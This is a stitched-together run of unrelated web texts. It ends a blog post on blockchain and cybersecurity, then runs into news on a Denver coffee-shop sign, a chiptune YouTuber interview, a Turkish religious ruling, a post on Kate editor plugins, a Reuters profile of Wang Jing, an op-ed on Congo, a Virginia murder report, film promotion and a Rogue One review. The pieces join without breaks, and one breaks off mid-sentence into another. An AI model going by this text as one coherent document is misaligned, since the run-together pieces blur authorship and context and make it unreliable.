Keyless Signature Structure (KSI), a blockchain project led by data security startup GuardTime, is one group that aims to replace key-based data authentication. KSI stores hashes of original data and files on the blockchain and verifies other copies by running hashing algorithms and comparing the results with what is stored on the blockchain. Any manipulation of the data will be quickly discovered because the original hash exists on millions of nodes.
As GuardTime CTO Matthew Johnson told me, the blockchain approach to data authentication offers “mathematical certainty over the provenance and integrity” of information. The U.S. Department of Defense’s DARPA agency is considering KSI as a potential fit to protect sensitive military data.
And on the health care front, blockchain company Gem is using blockchain to provide data transparency, change-auditing, and fine-grained access control of health records. This is especially important as healthcare providers handle reams of sensitive data and have been victims of huge data breaches. “Data controlling critical business processes, patient health, and clinical trials are all attack surfaces in healthcare industry,” said Gem VP of Engineering Siva Kannan. “Blockchain technology would help in verifying the integrity of patient data shared across different organizations, create immutable audit trails for data governing health care business processes, and maintain the integrity of data collected in clinical health trials.”
3. Protecting critical infrastructure
A massive October DDoS attack taught us all a painful lesson about how easy it has become for hackers to target critical services. By bringing down the single service that provided Domain Name Services (DNS) for major websites, the attackers were able to cut off access to Twitter, Netflix, PayPal, and other services for several hours, yet another manifestation of the failure of centralized infrastructures.
A blockchain approach to storing DNS entries could, according to Coin Center’s Peter Van Valkenburgh, improve security by removing the single target that hackers can attack to compromise the entire system.
Nebulis is a project that is exploring the concept of a distributed DNS system that will never fail under an excess of requests. Nebulis uses the Ethereum blockchain and the Interplanetary Filesystem (IPFS), a distributed alternative to HTTP, to register and resolve domain names. “The killer weakness of the current DNS system is its overreliance on caching,” Nebulis founder Philip Saunders told me. “Caching makes it possible to stage DDoS attacks against DNS servers and allows oppressive regimes to censor social networks and manipulate DNS registries.”
Blockchain will also remove the network fees associated with DNS reads and will only impose costs on updates and new entries. “This has great potential for lifting a great deal of pressure from the physical backbone of the Internet,” Saunders said. “It also means we can do away with many of the redundancies of the traditional DNS and come up with something much better.
A transparent, distributed DNS where domain records are under their owners’ control will also make it virtually impossible for any single entity, including governments, to manipulate entries at their whim.
New and unexpected cybersecurity threats will continue to emerge while old threats linger. Blockchains won’t be a silver bullet to fix everything that’s wrong with the Internet, but they will be a powerful tool experts and engineers can leverage to harden their systems against the multitude of threats that surround us, especially where centralized weaknesses and single points of failure are concerned.
Ben Dickson is a software engineer and the founder of TechTalks, a blog that explores the ways technology is solving and creating problems. He writes about technology, business and politics. Follow him on Twitter: @BenDee983.— A coffee shop in Denver’s River North neighborhood was vandalized after posting a controversial sign.
The sign that was displayed outside the ink! Coffee shop at 2851 Larimer Street stated “Happily gentrifying the neighborhood since 2014.”
CBS4 received multiple calls, emails and messages about the sign in the days before the vandalism occurred.
Gentrification is a sensitive issue for many long-time residents struggling to stay in their homes as the cost to rent continues to rise.
RELATED: ‘Gentrification Is Very Real’: Cold Crush Bar Shut Down
When we asked people on Facebook what they thought about the sign, we got comments from one end of the spectrum to the other.
“Pretty insensitive, but it’s not the end of the world. Not gonna get all worked up about it,” one person wrote.
“At least they are not in denial about it,” another said.
“Very poor taste,” someone else commented.
“Free speech. Everyone has a threshold where they are offended or take it stride,” another wrote. “Sadly though, if you know the definition of gentrification, that is exactly what has happened to Denver, and the surrounding areas.”
You can join the conversation here.
On Wednesday, the coffee shop issued a public apology on Twitter. It did not go over well with many people.
It’s not that simple. Y’all need to be shut down. Gentrification isn’t and never has been a joke. It literally displaces people, changes their lives often in the worst ways. Destroys communities and cultures that accompany them. I could go on… pic.twitter.com/fdhcY3z0jD — M✿ (@poeticgf) November 23, 2017
Of course not, your sense of entitlement to displace the poor, for your mediocre coffee, was just soooo blinding. — mondogarage (@mondogarage) November 23, 2017
"Joke"? So, somebody at your company thought this was funny? And at least one other person had to agree and approve that, so they thought it was funny? That's not funny — Rick Waldron (@rwaldron) November 23, 2017
This is the "I'm sorry you feel that way" of corporate apologies — You named your cat Gideon? (@x_scraps) November 23, 2017
The founder of ink! Coffee later issued the following statement:
“I have been following the comments on social media and listening to our customers, and I want you to know that I hear you. I have used the last 24 hours to listen to your perspectives, and to better educate myself on gentrification. I am embarrassed to say that I did not fully appreciate the very real and troubling issue of gentrification, and I want to sincerely apologize to those who understand firsthand the hardship and cultural consequences that gentrification has caused in the Five Points neighborhood, throughout the City and County of Denver and in communities throughout our state.
“When our advertising firm presented this campaign to us, I interpreted it as taking pride in being part of a dynamic, evolving community that is inclusive of people of all races, ethnicities, religions and gender identities. I recognize now that we had a blind spot to other legitimate interpretations. I sincerely apologize – absolutely and unequivocally. Over the coming weeks and months, I will continue to educate myself and my colleagues about this issue, and we will find ways to demonstrate the depths of our contrition by taking meaningful steps to support our local community and its residents.”Kai-fu Lee, ex-president of Google China, is known for being well-connected with Apple manufacturing partner Foxconn, and lately he's been blogging about the Apple Table. Apparently it looks like a big iPhone with a webcam and an incredible user interface.
According to Gadget Mix's translation of Lee's microblog:
The Apple Tablet looks like a bigger iPhone that sports an awesome UI packed in a beautiful 10.1-inch screen. The tablet combines the functions of both net |
those?
I wanted to give it a shot and share my music! The best platform to do that IMO it YouTube. I already kinda knew how it worked so it was a no-brainer.
A few quick questions about the actual songs now though. What’s your favourite cover of all the songs you’ve covered so far?
Definitely the Hyrule Castle theme from BOTW! It came out really good and the theme itself is also absurdly epic.
Least? Surely you must have one cover or remix you’re not too proud of any more…
Obviously my older songs aren’t very good anymore, because I didn’t really keep within the limitations of the NES. I’m also not to fond of the BOTW guardian theme, even though there’s not much I could have improved there I think.
Any video game songs you’ve had suggested a ton of times (but which you haven’t made a cover of)?
Aside from Jump Up, Super Star from Mario odyssey, people mostly request that I make a song from a certain series. There’s been a lot of requests for Kirby, Metroid and Fire Emblem and I will definitely have a look at those soundtracks soon.
Out of those, any you feel wouldn’t work in this format?
Most Metroid songs are almost impossible, unfortunately. While I love the series, the music is very ambient which isn’t a good fit for chiptune music.
And on a related note, how exactly do you choose what songs to cover? Are they just whatever video game song takes your fancy at the moment? Or are there more criteria than that?
I like to make songs from new releases to celebrate a game’s launch. I also do songs that I get stuck in my head. And of course I have to like them myself, and as I’ve previously mentioned I don’t like music that sounds overly happy or generic.
A lot of your songs also seem to be from more modern Nintendo titles. Not all of them, but probably around 70% or so. Have you ever considered covering a few songs from the fifth or sixth generation?
I like to cover more modern songs because they are played with real instruments, whereas music from around the DS era still sounds very MIDI-esque. It’s more interesting to hear how music from a live band is turned into chiptune (even though it’s much harder). I don’t really look at generations however, I look at songs individually and see if I like them and if they would work.
Still, a quick tech question now. How do you make these music covers anyway? Do you find a MIDI of the song you want to convert, or remake it by ear?
My oldest videos are made using MIDI’s, but I do everything by ear now! The hardest part is the bass, because in some songs you can barely hear what note is actually playing, but it’s doable.
What about the process of actually making the video for YouTube? Because your videos not only sound great, they also look a lot better than most other similar videos on the site too.
After I finish the music, I have to create a MIDI for the visuals. I remove all echoes and drums, because the video is better when you don’t show those. After that I create a little image by shrinking an image down to about ~150 pixels. I start drawing over the image while also reducing the amount of colours used.
Either way, it seems to be working based on your YouTube channel stats. Did you expect more than 17,000 people to subscribe to you? Or many videos to reach more than 50,000 views?
Not at all! I had around 300 subscribers when I was uploading my Paper Mario music, but after the Prince Sidon 8-bit I gained subscribers much faster. Zelda BOTW was definitely a big help!
How about the popularity of your videos on Reddit? Because quite a few have been submitted there, and many have garnered quite a few upvotes on the Nintendo Music subreddit…
Yes, I’ve seen those. A lot of people have shared my work on different sites (Reddit, Twitter, Facebook etc.) and I’m sure that’s also a reason that started growing so fast.
What about a Patreon or something? That seems to be pretty popular with other creators on the site…
I have gotten a few requests for a Patreon account, but I always forget to actually check it out. It seems pretty interesting, but I don’t want to lock content behind a small paywall, but I’m sure there’s some other cool stuff I could do with it. I will give it a look soon!
There are also a few original songs on your channel as well. Do you plan to focus a bit more on those in future, perhaps as a way of getting known for more than music covers?
Yes, I want to create more original songs! Some of them are for projects and other just for fun. It would be a dream come true to become a small musician working for indie games or similar!
How about other ways of diversifying your content? I’ve seen a few musicians start posting everything from podcasts to Let’s Plays in recent years, so is that something you might do at some point as well? Or are you mostly sticking to music here?
I will probably keep focusing on music for the time being. I want to try out some different formats (like a livestream or how-to) but nothing too excessive. I’m also not that good at speaking English into a microphone, so no podcasts.
Finally, what advice would you give someone wanting to start up their own YouTube channel?
Make videos about things you like, not about things that are popular at the time (e.g. things like fidget spinner videos will be gone and forgotten very soon). I also believe that uploading videos with a consistent theme is better (like I only post music). Another thing that I think will help you get a good start is to give your channel a nice visual and applying it to your banner and profile picture!
And you know what?
We can’t agree more here. Yes you might be able to eek out a bit of cheap popularity by following trends or cashing in on drama. We all know there are people on YouTube like that.
But in the long run, it’s originality and a soul that help. Copycats like the Irate Gamer may have been able to cash in for a while, but eventually the world saw through them. If you’re not genuine, people won’t like you for long.
Be a creator people care about. Not a low effort clone trying to ride on other people’s coattails.
Or if you can’t, support those who can. You can do this by following Loeder on Twitter, subscribing to his YouTube channel or posting his videos to sites like Reddit. Support your YouTube creators people.
And leave the copycats in obscurity where they belong.Turkey's top religious body allows toilet paper
Meltem Özgenç - ANKARA
‘If water cannot be found for cleansing, other cleaning materials can be used. There is no problem in using toilet paper,’ Diyanet says.
Turkey’s Directorate of Religious Affairs (Diyanet) has released a fatwa stating that usage of toilet paper is permissible within Islam, though it emphasized that water should be the primary source of cleansing.Reminding that for a prayer to be religiously legitimate, one’s body, clothes and the place where the prayer is to be performed should be free of items defined as “unclean” by Islam, the fatwa said the cleaning should be conducted with water.“If water cannot be found for cleansing, other cleaning materials can be used. Even though some sources deem paper to be unsuitable as a cleaning material, as it is an apparatus for writing, there is no problem in using toilet paper,” read a part of the statement.Meanwhile in a separate statement, the Diyanet also ruled that people who beg in order to earn money beyond their immediate needs are “demanding the fire of hell.” Begging is limited only to people in the most desperate conditions and does not reflect human dignity.Diyanet had stated in late March that it was okay for substances produced for cleaning and containing alcohol to be used for cleaning purposes, while stressing that drinking alcohol was forbidden by the Islamic religion.“If [substances containing alcohol] spill onto a dress or the body, they must be washed or they cannot perform a prayer. While it is forbidden to drink substances containing alcohol that were produced for cleaning purposes, it is acceptable to use them for cleaning. Therefore the places that were cleaned with such substances need not be washed before performing a prayer,” read a part of Diyanet’s answer.The project plugin in kate.git master now has four new more plugins, with many features in each one: Python (autocomplete, smart snippets, parse checker, pep8 checker and pyflakes checker), Javascript (autocompletes, jquery snippet, pretty JSON, and jslint checker), Django (smart snippets and utils to Django template) and XML (pretty xml). There are also many generic functions and generic classes in these that will be useful to the new plugins developers.
I began to develop these plugins in 2009, this was my first version :-). I wanted to set a shortcut to a snippet, as it was not possible (now it is posible) I started to develop these plugins to Kate.
In November 2011, I created a repository on github to develop new features and share them. I have to thank Alejandro Blanco, Jeroen van Veen, Javier Romero, Martin Borho, Justin Chudgar and Yaco Sistemas for helping me in this project.
In October 2012 Christoph Cullmann (Kate maintainer) sent me an e-mail, in which he asked me if I was interested to contribute with KDE project. I answered: “Of course!”…. finally I have a little time, and I have been able to integrate these plugins in the kate.git
Features to Python Plugin:
Python dynamic autocomplete using pyplete, this is in beta… It requires development, but now it is very useful.
Smart snippets: Insert an __init__ method into a class. Insert a super call into a method. Insert a call recursive into a method or into a function
Simple snippet: Insert the debug instrunctions “import ipdb; ipdb.set_trace()”
Checkers: When you save the file it is syntax checked, pep8 checked and pyflakes checked. You can invocate them any other time.
Python auto complete
Features to Javascript Plugin:
JavaScript static autocomplete, using a JSON file.
JQuery static autocomplete using a JSON file.
Pretty JSON: Pretty format of a JSON code selected
JSLint checker: When you save the file it is JSLint checked. You can invocate it any other time.
JQuery snippet, insert the ready code of the jQuery
JSLint checker
Features to Django Plugin:
Smart snippets: Create a model class Create a form class Template to the urls.py file
Simple snippet: Insert the typical imports of a views.py file
Template Django utils Insert the tag block/endblock. The name of the block will be the text selected Close the last templatetag open
Create a form class
Pretty XML:
Pretty format of an XML code selected
Pretty XML
Generic features:
Also I have added many generic functions and generic classes, likely the more outstanding are the autocompletations. Now you can create a code completion model with very few lines:
import kate from libkatepate.autocomplete import AbstractJSONFileCodeCompletionModel, reset class MyCodeCompletionModel(AbstractJSONFileCodeCompletionModel): MIMETYPES = [] # List of mimetypes E.G.: ['application/javascript', 'text/html'] TITLE_AUTOCOMPLETION = "My Auto Completion Model" FILE_PATH ='my_autocompletion.json' # Operators to separate the instrunctions OPERATORS = ["=", " ", "[", "]", "(", ")", "{", "}", ":", ">", "<", "+", "-", "*", "/", "%", " && ", " || ", ","] @kate.init @kate.viewCreated def createSignalAutocompleteJS(view=None, *args, **kwargs): view = view or kate.activeView() cci = view.codeCompletionInterface() cci.registerCompletionModel(my_code_completion_model) my_code_completion_model = MyCodeCompletionModel(kate.application) my_code_completion_model.modelReset.connect(reset)
The my_autocompletion.json file should have this format:
{ "xxx": { "category": "module", "children": { "www": { "category": "class", "children": {} }, "yyy": { "category": "constant", "children": {} }, "zzz": { "category": "function", "args": "(x1, x2, x3)", "children": {} } } } }
I encourage you to participate in the KDE project, for me this participation has been very simple because this community is very, very open.
Thanks all,
Share this: Google
Reddit
Twitter
Facebook
LinkedIn
Email
Print
Like this: Like Loading...BEIJING (Reuters) - Wang Jing, the enigmatic businessman behind Nicaragua’s $50 billion Interoceanic Grand Canal, shrugs off scepticism about how a little-known entrepreneur can be driving a huge transcontinental project, insisting he’s not an agent of the Beijing government.
Wang Jing, HKND Group chairman, listens to a question at a news conference in Beijing, June 25, 2013. REUTERS/Jason Lee
“I know you don’t believe me,” said Wang, who reckons that he’s forked-out about $100 million in canal preparation work, and is burning as much as $10 million a month on the project.
“You believe there are people from the Chinese government in the background providing support. Why, in the end, is only Wang Jing out front?”
High-ranking Chinese officials including President Xi Jinping, Premier Li Keqiang and former leaders Jiang Zemin and Wen Jiabao have all visited the state-connected wireless communication technologies company Wang took control of four years ago.
Wang, whose entrepreneurism went mostly unnoticed in China and elsewhere before last year’s Nicaragua announcement and a subsequent $3 billion Black Sea port development plan, has not helped matters by refusing to talk in detail about himself or broad swathes of his career.
During two interviews at the headquarters of Beijing Xinwei Telecom Technology Inc and in several follow-up emails, the 41-year-old Wang discussed Nicaragua, Beijing Xinwei’s recent deal to undertake the biggest reverse takeover in Chinese stock market history and his background, providing fresh details to a life that remains mysterious.
“I was born in December 1972 in Beijing,” said Wang. “All these years I’ve lived a very ordinary life.”
HIGH-WIRE ACT
Wang grabbed global headlines last June when he sealed a controversial no-bid 50-year renewable concession from Nicaragua’s Sandinista government to develop the $50 billion canal to rival Panama’s, and related facilities.
Nicaragua preparation is on schedule, Wang said. In January, he and President Daniel Ortega issued a joint statement to address what Wang described as “misleading reports” that the start of construction would be delayed.
The proposed scope is enormous, comprising construction of a waterway that may extend 130 miles, depending on the route selected, along with two ports, a railway, oil pipeline, and an international airport.
The canal would be longer, deeper and wider than the Panama Canal, about 500 miles to the southeast.
The scale of the project has led some to suggest it could only be viable with the backing of the Chinese government, which might see it as a geopolitical play to balance U.S. influence in Central America.
“I can’t imagine (Wang) would have gone forward without at least coordinating with the Chinese government,” said R Evan Ellis, assistant professor for Hemispheric Defense Studies at National Defense University in Washington. “Big Chinese companies just don’t parachute down into Latin America.”
The project, Ellis estimates, may provide China with commercial leverage over key Latin American governments and local companies, which may prove crucial to guarantee trade routes and access to raw materials.
“How the project ends will likely depend on the government of the People’s Republic of China,” he said.
For Wang, who can make a small fortune from licensing arrangements alone, the project represents a perilous highwire act. The ocean-connecting waterway has been criticized as the proverbial white elephant, while Wang has been ridiculed in the global press for lacking experience developing or financing big infrastructure.
Wang only established Hong Kong Nicaragua Canal Development Investment Co (HKND) in August 2012 and opened offices in Hong Kong’s premier International Financial Center weeks ahead of the June 2013 announcement.
Nicaraguan opposition politicians also question Wang’s commitment to addressing social and environmental issues, particularly how the proposed project may affect Lake Nicaragua, an important freshwater source in the region.
Wang has brought in international specialists to help quell concerns. McKinsey & Co was hired to conduct an economic feasibility study, while Environmental Resources Management Ltd is conducting an environmental and social impact study for the various routes under consideration.
SBE, the Belgium-based civil engineering firm specializing in canal hydraulics, and MEC Mining, the Australia-based engineering consultancy also have been hired. Washington consultancy McLarty Associates and law firm Kirkland & Ellis also were contracted.
As many as 400 engineers and technicians of different nationalities are currently working on a canal feasibility study, Nicaragua’s Canal Authority head Manuel Coronel Kautz told Reuters. There are between 600 and 700 people working on the project, Wang said.
McKinsey & Co infrastructure partner Stefan Matzinger declined to answer questions. ERM regional chief David McArthur, McLarty Associate’s managing partner Stephen Donehoo and Kirkland & Ellis partner Chuan Li did not respond to emails or telephone calls.
FINDING $50 BILLION
Financing is a thornier issue.
Wang, who may be prepared to spend as much as $300 million of his own cash, said that he will use a combination of cross-shareholding, bank lending and debt issuance to raise the estimated $50 billion needed to finance the project.
Five international groups had already agreed to invest in the project, he added. “We have not only signed memorandum-of-understanding, we are working on final preparations for executable, irrevocable contracts,” he said.
On April 23, Xugong Group Construction Machinery Co., one of China’s biggest construction equipment manufacturers, announced it had reached a framework agreement to take a 1.5 to 3 percent stake in Wang’s development company.
No dollar amount was attached to the investment, which also would make Xugong the sole supplier of engineering equipment to the canal project. More announcements are expected in the coming weeks, Wang said.
Other companies that may participate in an international consortium include state conglomerate China Railway Construction Corp., China’s biggest overseas engineering contractor, which is one of Wang’s strategic partners that has been brought in to help with feasibility studies. Wang said that he has spoken with Chinese state-owned banks but would not say whether any would provide financing.
“I want to point out that it isn’t going to take $50 billion in cash to do this,” Wang said.
Wang’s other big infrastructure project, a $3 billion plan to build a deepwater port on the Black Sea about 60 km (35 miles) north of Sevastopol, is facing greater uncertainty.
In December, Wang announced the agreement between HKND and an unknown Ukrainian firm during a visit to Beijing by Ukrainian President Viktor Yanukovich, who was ousted two months later. A photograph captures Wang at the time talking about the port project with Yanukovich and China’s Vice Premier Ma Kai. The port site is located in the middle of the Crimean peninsula that has been annexed by Russia.
By February, 20 HKND workers had completed their site inspection work and were forced to return to China.
“We’re still confident, but given the current complexity of the Ukraine situation, in terms of our procedures, our schedule and our rhythm, we will need to replan,” Wang said.
“I’M VERY ORDINARY”
Wang looks flush with cash - at least on paper. His main asset is a 36.97 percent stake in Beijing Xinwei, the government-backed developer of China’s wireless communications standard that now specializes in mobile network development and products. Beijing Xinwei in March estimated its assets at 26.89 billion yuan.
Separately, Wang controls Hong Kong Nicaragua Development Co, a Hong Kong registered firm, through mainland-registered Beijing Interoceanic Canal Investment Management Co, according to filings with the Shanghai Stock Exchange and Hong Kong Companies Registry.
Wang also reports full ownership of several offshore subsidiaries, including seven Netherlands firms related to the Nicaragua project; a British Virgin Islands-registered aircraft investment company, and media and sports entities, all of which were registered within the last year.
He owns Southeast Asia (Cambodia) Agriculture Development Group Inc, which was registered in Cambodia in September 2009, according to Shanghai Stock Exchange filings.
Less is known about Wang’s path to success. The youthful chief executive refused to discuss his family background, saying only that his father was an ordinary office worker and died in 2010 following an 11-year illness; his mother, who is about 70 years old, is retired; and that he has a daughter.
“It’s that simple,” said Wang. “I’m very ordinary.”
Wang says he studied at Jiangxi University of Traditional Chinese Medicine but left before graduation, returning years later to organize Beijing Changping Traditional Health and Culture School.
In the late 1990s, Wang said he traveled to Hong Kong to learn about international finance and investment. He returned to Beijing in 1998 and founded Dingfu Investment Consulting Co. In Hong Kong, Wang also established Hong Kong Divine (Dingfu) Investment Group Ltd in 2001.
He later mined gold and precious stones in Cambodia - a process he described as slow and exacerbated by the legacy of past wars - and opened Yingxi Construction and Engineering Co, a small contractor that participated in projects in Beijing, Tianjin and Guangdong. Available information about these firms is scarce.
Wang declined to elaborate on the source of his wealth. “China has an expression ‘the finest fragments of fox fur, sewn together, will make a robe’, the meaning of which is a fortune is accumulated over time,” he said.Story highlights Vava Tampa: Why does crisis in Syria get extensive media coverage, but not the killing in Congo?
M23 is the newest militia gang terrorizing the local population
Conflicts in DR Congo estimated to have claimed more than 5.4 million lives
If humanitarian crises were listed by some sort of moral -- or editorial -- standards on the stock exchange, to help indicate which ones urgently require international news coverage and political action, shares of the situation in the Democratic Republic of the Congo (DRC) would have commanded international news headlines and extensive press coverage over the past 12 years.
The U.N. has labeled the DRC, Africa's second largest country, as the " rape capital of the world " because of the pace and scope of the use of rape as a weapon of war by proxy militia gangs fighting for control of Congo's easily appropriable and highly valuable natural resources, destined for sale in Europe, Asia, Canada and the United States.
The wars in that country have claimed nearly the same number of lives as having a 9/11 every single day for 360 days, the genocide that struck Rwanda in 1994, the ethnic cleansing that overwhelmed Bosnia in the mid-1990s, the genocide that took place in Darfur, the number of people killed in the great tsunami that struck Asia in 2004, and the number of people who died in Hiroshima and Nagasaki -- all combined and then doubled.
Yet we rarely hear anything about it. Indeed, one only need contrast media coverage of the latest Israeli airstrikes on the Gaza strip and Hamas rocket attacks into southern Israel, which have made front pages around the world, to the stunningly limited media coverage afforded to graphic accounts of atrocities committed that same week by M23, the newest militia gang terrorizing the local population.
Vava Tampa, founder of Save the Congo.
M23's murderous campaigns to besiege Congo's eastern mineral-rich provinces of North and South Kivu have left over 200,000 people in terrible conditions, killed countless and ushered in a dire humanitarian transgression.
The Rwandan government has been accused by the United Nations of backing M23 by providing it with arms, support and soldiers, but Rwanda's President, Paul Kagame, has denied the allegation.
The question here is not whether the human suffering in Congo deserves more media coverage because it is greater than that in Syria or Gaza, but rather, why has the crisis in Syria or Gaza qualified for extensive media coverage, but not the killing and raping industries in Congo?
JUST WATCHED Rebels advancing in Congo Replay More Videos... MUST WATCH Rebels advancing in Congo 02:23
JUST WATCHED Refugees flee from rebels in Congo Replay More Videos... MUST WATCH Refugees flee from rebels in Congo 04:02
JUST WATCHED Life in Goma amid crisis Replay More Videos... MUST WATCH Life in Goma amid crisis 01:40
JUST WATCHED Congolese rebels take over Goma Replay More Videos... MUST WATCH Congolese rebels take over Goma 02:53
I doubt that this is because of a shortage of sobering imagery of Congo's killing fields or a lack of first-hand testimonies from survivors, or a lack of human rights and humanitarian reports and assessments of the situation.
Is it due to the geographical or cultural distance between London or Washington and Congo? Or are Western media just reluctant, if not uninterested, to cover it because no Western interests or ally is endangered by it?
Would the coverage the situation in Congo receives be the same if it was happening in Europe or if Congo spoke English rather than French?
What if Robert Mugabe of Zimbabwe or his disciples were implicated in funding murderous militia gangs in Congo? Or if the killing was between black Africans and Arabs? Or if minerals funding Congo's killing and raping industries benefited the East more than the West?
But as an activist, I believe that the editors of news organizations such as CNN, Al Jazeera and the BBC must flood the airwaves with vivid images and news stories on the human sufferings in Congo. Newspapers such the Guardian, in the UK, and the New York Times must drumbeat front-page news stories on the wars and human tragedy engulfing that country.Police said the attack on a young Muslim girl was not a hate crime. News4's Jackie Bensen reports.
What to Know Nabra Hassanen, a high school sophomore in Northern Virginia, died after a man attacked her with a bat near her mosque.
Fairfax County police believe the murder suspect attacked the teen girl in a "road rage incident," not because of anti-Muslim hate.
The suspect is an El Salvador native living in the U.S. illegally, ICE says.
Police believe the teenage girl who died after a man hit her with a baseball bat as she headed to a mosque in Fairfax County, Virginia, on Sunday was a victim of road rage, not a hate crime.
Nabra Hassanen died after Darwin Martinez Torres, 22, beat her and then dumped the 17-year-old girl's body in a pond, police said. He has been charged with murder.
Hassanen and a group of more than a dozen youths had just finished eating at a McDonald's and were heading back to the All Dulles Area Muslim Society (ADAMS) Center in Sterling for an all-night Ramadan event when they noticed a man in a car following them, the teens told News4.
The driver jumped a curb, got out of the car with a bat and began chasing the teens. He was able to catch Hassanen. He beat her and then took her to a pond nearby in Loudoun County.
Teens Speak About 17-Year-Old Girl Killed Near Mosque
Friends of Nabra Hassanen speak about the moments before a man drove onto the sidewalk, enraged. News4's Julie Carey reports. (Published Monday, June 19, 2017)
After an hourslong search, police found her body in a pond.
"This tragic case appears to be the result of a road rage incident involving the suspect, who was driving and who is now charged with murder, and a group of teenagers who was walking and riding bikes in and along a roadway," police said in a statement Monday afternoon.
"Our investigation at this point in no way indicates the victim was targeted because of her race or religion," the statement continues.
If evidence surfaces that indicates hate did play a role, additional charges could be filed.
Hassanen died of blunt force trauma to the head and neck, a medical examiner determined.
Hassanen's father, Mahmoud Hassanen, wept as he spoke about what he would say to Torres.
Virginia Teen Murdered After Leaving Mosque; Man Arrested
A Virginia teen girl was assaulted and murdered early Sunday morning, police say. News4's Darcy Spencer reports she was coming back to a mosque with her friends when they came across a driver who got into a confrontation with them. (Published Sunday, June 18, 2017)
"Why you kill my daughter? For what? She didn't do anything to anybody. I raised my kids to love everybody," he said.
A steady stream of mourners visited the family's home on Monday.
Hassanen was the oldest of four siblings and was about to finish her sophomore year at South Lakes High School. On Monday, classmates decorated her locker.
Torres of Sterling was charged with murder, and a judge ordered at a court appearance Monday that he be held without bond.
U.S. Immigration and Customs Enforcement (ICE) filed a detainer against Torres on Monday, meaning he was living in the U.S. illegally. He is originally from El Salvador and had no prior encounters with ICE, a spokeswoman said.
Police say Torres and a boy on a bike argued on Dranesville Road, which has bike lanes. Then, the driver jumped the sidewalk, forcing teens to run into the woods to hide.
Police Believe Missing Teen Found Dead in Fairfax County
Police believe they have found the remains of a missing 17-year-old girl that was reported missing early Sunday morning in Fairfax County, Virginia. News4's Darcy Spencer reports a man has been taken into custody in connection to her death. (Published Sunday, June 18, 2017)
"It appears the suspect became so enraged over the traffic dispute it escalated into deadly violence," a Fairfax County police spokeswoman said.
The assaults stretched over Fairfax and Loudoun counties, police said.
Officers started searching for Hassanen about 4 a.m. Sunday in the area of Dranesville Road and Woodson Drive in Herndon, Fairfax County Officer Tawny Wright said at a news conference Sunday evening.
Police searched a wooded area near Dranesville Road and Woodson Drive area in Herndon for several hours. Loudoun County authorities also helped in the investigation, because the area borders the county.
During the search, an officer saw a car driving suspiciously in the area, pulled the driver over and then took him into custody.
Police found Hassanen's body Sunday afternoon in a pond in Loudoun County about 3 p.m.
Darwin Martinez Torres
Photo credit: Fairfax County Police Department
Police said the baseball bat was recovered.
The case could be prosecuted in Loudoun County, a Fairfax County police spokeswoman said.
Torres is due in court July 19.
In the meantime, Hassanen's family, friends and community are mourning the shock of her brutal death.
"She's one of a kind. No one will ever take her place," one young friend said.
A vigil will be held at 6:30 p.m. Wednesday at Lake Anne Plaza.Although time SEEMS to be moving slower than ever these days we ARE getting closer to the November 7th release of Disney Animation’s must-see animated feature, “Big Hero 6.” Today we are pleased to release Phase 3 of our officially licensed project with the studio that has been entertaining fans since the first fully-animated feature film, 1937’s Snow White and the Seven Dwarfs. Disney has proven again and again that they know how to tell a tale which is why fans clamor to see every addition to their rich legacy of films.
As promised during our PHASE 2 reveal, here is Luke Butland’s “Ultra Blue Variant” that features San Fransokyo as it could appear in a postcard or travel brochure. In Disney’s “Big Hero 6” Hiro and his team of mis-fit heroes take it upon themselves to save the city from the evil Yokai.
“Big Hero 6” by Harlan Elam
Watch this great interview with Daniel Henney, “Tadashi Hamada” and his on screen brother, Ryan Potter, “Hiro Hamada” as they talk about “Big Hero 6” and what it was like working on the film.
“Big Hero 6” By Florey
Directed by Don Hall (Winnie the Pooh) with co-director Chris Williams (Bolt), the film stars Ryan Potter, Scott Adsit, Genesis Rodriguez, Jamie Chung, Damon Wayans, Jr., TJ Miller, Maya Rudolph, James Cromwell, Daniel Henney and Alan Tudyk.
“Big Hero 6″ is a heartfelt comedy adventure about robotics prodigy Hiro Hamada, who learns to harness his genius—thanks to his brilliant brother Tadashi and their like-minded friends: adrenaline junkie Go Go Tamago, clean freak Wasabi No-Ginger, chemistry whiz Honey Lemon and fanboy Fred. When a devastating turn of events catapults them into the midst of a dangerous plot unfolding in the streets of San Fransokyo, Hiro turns to his closest companion—a cutting-edge robot named Baymax—and transforms the group into a band of high-tech heroes determined to solve the mystery. Inspired by the Marvel comics of the same name, and featuring comic-book style action and all the heart and humor audiences expect from Walt Disney Animation Studios.
“Big Hero 6” by Rodolfo Reyes
“Big Hero 6” by Andrew Swainson
“Big Hero 6” by Salvador Anguiano
Come back next week as we get a few days closer to seeing “Big Hero 6” and to take a look at Phase 4 of our official collaboration with Walt Disney Animation Studios. Be sure to CLICK HERE to head over to DISNEY’s site to see more of Baymax and the crew. You can also check out the film’s TUMBLR and FACEBOOK pages to keep up on new developments and announcements for what is sure to be THE must-see family movie when it opens on November 7th.From Lucasfilm comes the first of the Star Wars standalone films, Rogue One: A Star Wars Story, an all-new epic adventure. In a time of conflict, a group of unlikely heroes band together on a mission to steal the plans to the Death Star, the Empire's ultimate weapon of destruction. This key event in the Star Wars timeline brings together ordinary people who choose to do extraordinary things, and in doing so, become part of something greater than themselves.
Rogue One: A Star Wars Story hits theaters December 16, 2016.
Unless you've been living under a rock, you already know that Rogue One: A Star Wars Story hits theaters later this week. If you've seen the original Star Wars: A New Hope, which I'm assuming you probably HAVE, or seen the one of the trailers or TV spots that have been released, of which there have been several, you probably have a handle on what to expect from the film, right?Wrong! OK, you're not COMPLETELY wrong. Yes the film is a prequel to Episde IV/A New Hope and it involves the mission to retrieve the plans for the infamous Death Star. Yes there are cameos and appearances by various characters from the other films. Yes, you probably have a VERY good idea of how the film ends. I'm assuming you think you know all of that because I did when I walked into the theater. I'm a pretty big Star Wars fan and fell I have a pretty good grasp on most things Star Wars. I wasn't prepared for the film that I saw. Not only was it a GREAT Star Wars film, it was a great FILM!The acting is top-notch around the board, which was actually quite unexpected given the fact that I'm unfamiliar with much of the cast. I've absolutely loved Donnie Yen ever since seeing him in Ip Man (the original Chinese film with English subtitles and all). His Chirrut Îmwe, who happens to be blind, is handsdown my favorite character in the film. Fellicity Jones is great as Jyn Erso as well, but I don't think that comes as a shock to anyone. Any confusion regarding her character and Daisy Ridley's character Rey in The Force Awakens will be quickly set straight once people see the film. Alan Tudyk turns in a great performance as the Imperial droid turned Rebel K-2S0. As with many of the previous Star Wars films, the droids provide some comic relief and K-2S0 doesn't stray far from that part of the formuly. He does, however, turn in quite a touching performance in the third act of the film.Special Effects are all top-notch, but again, that's to be expected in a Star Wars film, right? What surprised me was the amount of 